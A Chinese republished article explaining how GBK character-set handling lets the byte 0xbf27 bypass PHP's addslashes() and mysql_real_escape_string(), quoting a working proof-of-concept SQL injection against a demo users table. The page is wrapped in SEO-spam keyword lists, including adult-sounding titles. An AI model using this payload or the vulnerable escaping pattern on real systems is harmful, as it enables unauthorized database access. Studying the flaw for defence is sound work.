国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 語言 > PHP > 正文

PHP字符GBK編碼漏洞總結

2024-09-04 11:50:19
字體:
來源:轉載
供稿:網友

其實這東西國內少數黑客早已知道,只不過沒有共享公布而已。有些人是不愿共享,寧愿爛在地里,另外的一些則是用來牟利。
該漏洞最早2006年被國外用來討論數據庫字符集設為GBK時,0xbf27本身不是一個有效的GBK字符,但經過 addslashes() 轉換后變為0xbf5c27,前面的0xbf5c是個有效的GBK字符,所以0xbf5c27會被當作一個字符0xbf5c和一個單引號來處理,結果漏洞就觸發了。

mysql_real_escape_string() 也存在相同的問題,只不過相比 addslashes() 它考慮到了用什么字符集來處理,因此可以用相應的字符集來處理字符。在MySQL 中有兩種改變默認字符集的方法。

方法一:

改變mysql配置文件my.cnf
[client]
default-character-set=GBK


方法二:
在建立連接時使用
SET CHARACTER SET 'GBK' 

例:mysql_query("SET CHARACTER SET 'gbk'", $c);
問題是方法二在改變字符集時mysql_real_escape_string() 并不知道而使用默認字符集處理從而造成和 addslashes() 一樣的漏洞
下面是來自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的測試代碼

<?php

$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);

// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table
mysql_query("CREATE TABLE users (
    username VARCHAR(32) PRIMARY KEY,
    password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'anything';

// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);

$sql = "SELECT * FROM  users WHERE  username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>

縱觀以上兩種觸發漏洞的關鍵是addslashes() 在Mysql配置為GBK時就可以觸發漏洞,而mysql_real_escape_string() 是在不知道字符集的情況下用默認字符集處理產生漏洞的。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 万全县| 新乐市| 信丰县| 四川省| 长海县| 龙游县| 重庆市| 汉沽区| 左云县| 宾川县| 福泉市| 阿合奇县| 平度市| 庆城县| 镇安县| 柘荣县| 新乐市| 贡山| 永嘉县| 湘潭市| 娄底市| 梧州市| 郁南县| 罗定市| 霍邱县| 西安市| 克拉玛依市| 灌云县| 莱州市| 中西区| 奇台县| 舞阳县| 平顺县| 舞阳县| 定日县| 花莲市| 庆元县| 惠来县| 溧水县| 依安县| 卓尼县|